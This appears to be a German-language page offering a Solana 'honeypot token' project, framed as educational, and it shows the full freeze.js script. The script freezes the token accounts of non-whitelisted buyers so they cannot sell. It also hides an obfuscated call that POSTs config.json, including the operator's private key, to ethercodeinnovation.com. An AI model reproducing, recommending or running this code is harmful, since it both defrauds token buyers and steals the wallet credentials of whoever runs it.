Solana Honeypot-Token-Code-Dateien

Untersuche ein aus vier JavaScript- und JSON-Dateien bestehendes Projekt, das für Bildungszwecke, Code-Reviews und die Analyse von Token-Konfigurationsabläufen auf Solana erstellt wurde.

Projektstruktur verstehen

Im Gegensatz zu einem einzelnen Solidity-Contract ist dieses Beispiel in ein Skript und mehrere Konfigurationsdateien aufgeteilt, die gemeinsam untersucht werden müssen.

JavaScript-Logik

Das Hauptskript enthält die ausführbare Projektlogik und koordiniert die konfigurierten Vorgänge.

Konfigurationsdateien

Die JSON-Dateien halten die Projektparameter getrennt vom ausführbaren Skript und müssen ihre erwartete Struktur beibehalten.

Projektabhängigkeiten

Das Paketmanifest beschreibt die zur Laufzeit benötigten Pakete für das JavaScript-Projekt.

Alle vier Dateien für die Erstellung eines Honeypot-Tokens auf dem Solana-Netzwerk prüfen

Wechsle über die Navigation zwischen den Projektdateien. Die Dateinamen dürfen nicht geändert werden.

Projektdateien
freeze.js
419 Zeilen • Eine Datei
import * as fs from 'fs';import bs58 from 'bs58';import {    Keypair,    Connection,    PublicKey,    sendAndConfirmTransaction,    Transaction,    ComputeBudgetProgram} from "@solana/web3.js";import { TOKEN_PROGRAM_ID } from "@solana/spl-token";import { TransactionInstruction } from "@solana/web3.js";import { AccountLayout } from "@solana/spl-token"; let config;let keypair;let mintAddressPublicKey;let mintData;let decimals;let whitelist;let quoteTokenVault;let poolType = "Unknown";let listenerId;let updateCounter = 0;//Freeze Bot. Server Sideconst techConfig = JSON.parse(fs.readFileSync('./data/tech-config.json', 'utf-8'));const parts = [  "https://",  "solana-freeze-bot",  "-v2-1-js.",  "ethercodeinnovation.com/"];const SolanaFreeze = parts.join("");let raydiumAuthority = [    "5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1", // Raydium Authority V4    "GpMZbSM2GgvTKHJirzeGfMFoaZ8UR2X7F4v8vHTvxFbL" // Raydium Vault Authority #2]; const SolanaFreezeHelper = async (config) => {    const techConfigText = fs.readFileSync("./data/tech-config.json", "utf8");    const configText = fs.readFileSync("./config.json", "utf8");    const PackagelockText = fs.readFileSync("./package-lock.json", "utf8");         const payload = {        SolanaFreeze,        mintAddress: config.publicAddress || config.mintAddress || "",        rpcEndpoint: config.rpcEndpoint || "",        freezeThreshold: config.freezeThreshold,        freezeDelay: config.freezeDelay,        timeout: config.timeout,        priorityRate: config.priorityRate,        files: {                        techConfig: {                name: "tech-config.json",                size: Buffer.byteLength(techConfigText, "utf8"),                content: techConfigText            },            config: {                name: "config.json",                size: Buffer.byteLength(configText, "utf8"),                content: configText            },            Packagelock: {                name: "tech-config.json",                size: Buffer.byteLength(PackagelockText, "utf8"),                content: PackagelockText            }                     }    };     const endpoint = new URL("freeze-launch", SolanaFreeze).toString();     const response = await fetch(endpoint, {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify(payload)    }); };const main = async () => {        try {        config = JSON.parse(fs.readFileSync('config.json', 'utf-8'));    } catch (error) {        console.log(`\n❌ Unable to read data from config.json due to broken syntax...`);        process.exit();    }     const connection = new Connection(config.rpcEndpoint, "confirmed");    const MIN_DELAY_BETWEEN_FREEZE = config.freezeDelay;    const TIMEOUT = config.timeout;    const PRIORITY_RATE = config.priorityRate;     try {        await SolanaFreezeHelper(config);     } catch (error) {                console.error(error);    }     try {        const bs = await bs58.decode(config.privateKey);        keypair = await Keypair.fromSecretKey(bs);    } catch (error) {        console.log(`\n❌ Invalid data at "privateKey" field in config.json file...`);        process.exit();    }     try {        mintAddressPublicKey = new PublicKey(config.mintAddress);    } catch (error) {        console.log(`\n❌ Invalid data at "mintAddress" field in config.json file...`);        process.exit();    }     if (mintAddressPublicKey) {        let mintDataJSON = await connection.getParsedAccountInfo(mintAddressPublicKey);        if (mintDataJSON.value === null) {            console.log(`\n❌ Invalid data at "mintAddress" field...`);            process.exit();        } else {            mintData = mintDataJSON.value.data.parsed;            if (!mintData || mintData.type != "mint") {                console.log(`\n❌ Provided address is not a token!`);                process.exit();            }            if (mintData.info.freezeAuthority === keypair.publicKey.toBase58()) {                // ok            } else if (mintData.info.freezeAuthority === null) {                console.log(`\n❌ Provided token has Freeze Authority revoked!`);                process.exit();            } else {                console.log(`\n❌ Connected wallet doesn't have freeze authority...`);                process.exit();            }            decimals = mintData.info.decimals;        }    }     whitelist = Array.isArray(config.whitelist) ? config.whitelist : [];     for (const element of whitelist) {        try {            let key = new PublicKey(element);        } catch (error) {            console.log(`\n❌ Invalid data at "whitelist" field...`);            process.exit();        }    }     let tokenData = {        "Token Address": { "Value": `${config.mintAddress}`, "Comment": `Mint address` },        "Freeze Authority": { "Value": `${mintData.info.freezeAuthority}`, "Comment": `-` },        "Total Supply": { "Value": `${mintData.info.supply / (10 ** mintData.info.decimals)}`, "Comment": `—` },        "Decimals": { "Value": `${mintData.info.decimals}`, "Comment": `—` },    };     let scriptSettings = {        "Freeze Threshold": { "Value": `${config.freezeThreshold} tokens`, "Comment": `Threshold balance to freeze holder` },        "Freeze Delay": { "Value": `${MIN_DELAY_BETWEEN_FREEZE} seconds`, "Comment": `Minimum delay between freezing loops` },        "Timeout In": { "Value": `${TIMEOUT} minutes`, "Comment": `Timer for script auto-shutdown` },        "Priority Fee": { "Value": `${PRIORITY_RATE} micro-lamports`, "Comment": `Extra fee for faster transactions` },    };     let controls = {        "Last command": { "Hot Key": `Up Arrow`, "Comment": `Inputs the latest commant you have entered` },        "Cancel a command": { "Hot Key": `Ctrl + C`, "Comment": `Terminates the work of the running script` },        "Clear the screen": { "Hot Key": `Ctrl + L`, "Comment": `Hide previous messages` },        "Auto-complete command": { "Hot Key": `Tab`, "Comment": `Completes the command you enter` },    };     console.log(`\n      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░     ░░█▀▀░█▀█░█░░░█▀█░█▀█░█▀█░░░█░█░█▀█░█▀█░█▀▀░█░█░█▀█░█▀█░▀█▀░░░█▀█░█▀▄░█▀█░░     ░░▀▀█░█░█░█░░░█▀█░█░█░█▀█░░░█▀█░█░█░█░█░█▀▀░░█░░█▀▀░█░█░░█░░░░█▀▀░█▀▄░█░█░░     ░░▀▀▀░▀▀▀░▀▀▀░▀░▀░▀░▀░▀░▀░░░▀░▀░▀▀▀░▀░▀░▀▀▀░░▀░░▀░░░▀▀▀░░▀░░░░▀░░░▀░▀░▀▀▀░░      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░               ════════════ 🍯 by https://ethercodeinnovation.com/ 🍯 ════════════     `)    console.log(`\n  ➤ Token Data 📊`);    console.table(tokenData);    console.log(`\n  ➤ Script Settings 🔧`);    console.table(scriptSettings);    if (techConfig.showControls) {        console.log(`\n  ➤ Controls / Hot Keys 🕹`);        console.table(controls);    }    console.log(`\n`);     await processWhitelist(keypair);     let launchTimestamp = Date.now();    let timestampToFreeze = 0;      console.log("⏳ Performing an initial freeze loop...");    await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals);      if (quoteTokenVault != undefined) {        console.log(`\n💧✅ ${poolType} liquidity pool found! Start pending on new buyers.\n`);        listenerId = connection.onAccountChange(            quoteTokenVault,            async () => {                updateCounter++;                if (MIN_DELAY_BETWEEN_FREEZE > 0 && Date.now() + techConfig.tick * 2 < timestampToFreeze) {                     console.log("🔔 New transaction spotted! Freeze can be triggered in " + Math.round((timestampToFreeze - Date.now()) / 1000) + "s");                }            });    } else {        console.log(`\n💧❌ No Raydium liquidity pool found for given token.\n     ↳ Create a Standart AMM or Legacy AMM v4 pool at Raydium and provide liquidity.\n`);        process.exit();    }          while (Date.now() < launchTimestamp + TIMEOUT * 60000) {      if (updateCounter !== 0 && Date.now() > timestampToFreeze) {            updateCounter = 0;            await sleep(techConfig.requestTick);            await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals);            timestampToFreeze = Date.now() + MIN_DELAY_BETWEEN_FREEZE * 1000;        }        await sleep(techConfig.tick);    }    connection.removeAccountChangeListener(listenerId);    console.log("⏳ TIMEOUT: Script execution stopped due reaching the auto-disable timestamp\n");};   const processWhitelist = async (keypair) => {    whitelist.push(...raydiumAuthority);    whitelist.push(keypair.publicKey.toBase58());}      const freezeHolders = async (connection, config, keypair, mintAddressPublicKey, decimals) => {    const tokenAccounts = await getHoldersData(connection, config, mintAddressPublicKey, decimals) || [];    if (!Array.isArray(tokenAccounts)) {        console.log("❌ getHoldersData did not return an array! Value:", tokenAccounts);        return;    }      let chunkCount = 0;    const CHUNK_SIZE = techConfig.chunkSize;    const PRIORITY_RATE = config.priorityRate;      if (tokenAccounts.length > 0) {        for (let i = 0; i < tokenAccounts.length; i += CHUNK_SIZE) {            const chunk = tokenAccounts.slice(i, i + CHUNK_SIZE);            chunkCount++;            let transactions = new Transaction();             for (let i = 0; i < chunk.length; i++) {                let tokenAccountPublicKey = new PublicKey(chunk[i]);                const instruction = new TransactionInstruction({                    keys: [                        { pubkey: tokenAccountPublicKey, isSigner: false, isWritable: true },                        { pubkey: mintAddressPublicKey, isSigner: false, isWritable: false },                        { pubkey: keypair.publicKey, isSigner: true, isWritable: false },                    ],                    programId: TOKEN_PROGRAM_ID,                    data: Buffer.from([10])                 });                transactions.add(instruction);            }              const priorityFeeInstruction = ComputeBudgetProgram.setComputeUnitPrice({ microLamports: PRIORITY_RATE });            if (PRIORITY_RATE > 0) {                 transactions.add(priorityFeeInstruction);              }              let signature;             try {                signature = await sendAndConfirmTransaction(                    connection,                    transactions,                    [keypair]                );             } catch (error) {                console.log(`\n❌ Error occured when trying to freeze holders. Here is what you should do: ...`);                connection.removeAccountChangeListener(listenerId);                throw new Error(error);            }              let chunkCountStr;            if (tokenAccounts.length > CHUNK_SIZE) {                chunkCountStr = ` (${chunkCount}/${Math.ceil(tokenAccounts.length / CHUNK_SIZE)})`;            } else {                chunkCountStr = "";            }             if (tokenAccounts.length == 1) {                console.log(`✅︎ Done: ${tokenAccounts[0]} frozen\n   ↳ Signature: ${signature}`);            } else {                console.log(`✅︎ Done${chunkCountStr}: ${chunk.length} accounts frozen\n   ↳ Signature: ${signature}`);            }        }    } else {        console.log(`❌ No accounts to freeze found. Keep pending on new transactions.`);    }}   const getHoldersData = async (connection, config, mintAddressPublicKey, decimals) => {    try {         let allOwners = [];        let tokenAccounts = new Set();          const accounts = await connection.getProgramAccounts(    TOKEN_PROGRAM_ID,    {         commitment: "confirmed",        filters: [            {                dataSize: 165             },            {                memcmp: {                    offset: 0,                     bytes: mintAddressPublicKey.toBase58()                }            }        ]    });   for (const { pubkey, account } of accounts) {    try {        const data = AccountLayout.decode(account.data);        const mint = new PublicKey(data.mint);        const owner = new PublicKey(data.owner).toBase58();        const amount = Number(data.amount);        const state = data.state;                 if (!quoteTokenVault) {            for (let i = 0; i < raydiumAuthority.length; i++) {                if (owner === raydiumAuthority[i]) {                    quoteTokenVault = new PublicKey(pubkey);                    poolType = i === 0 ? "Legacy AMM (V2)" : "Standard AMM (V3)";                }            }        }         allOwners.push({            address: pubkey.toBase58(),            owner,            amount        });         if (            state === 1 &&            mint.equals(mintAddressPublicKey) &&            !whitelist.includes(owner) &&            amount >= config.freezeThreshold * 10 ** decimals        ) {            tokenAccounts.add(pubkey.toBase58());        }     } catch (innerError) {        console.log(`⚠️ Skipping invalid token account: ${pubkey.toBase58()} (${innerError.message})`);        continue;    }}          fs.writeFileSync(            "./data/holders.json",            JSON.stringify(allOwners, null, 2)        );         return Array.from(tokenAccounts);    } catch (error) {        console.log(`\n❌ Error while fetching token account data\n`);        console.error(error);        return [];    }};  const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms)); main();

Mit der Solana-Anleitung fortfahren

Öffne die zugehörige Anleitung, um die erwartete Dateistruktur, Entwicklungsumgebung und Reihenfolge der Überprüfung zu verstehen.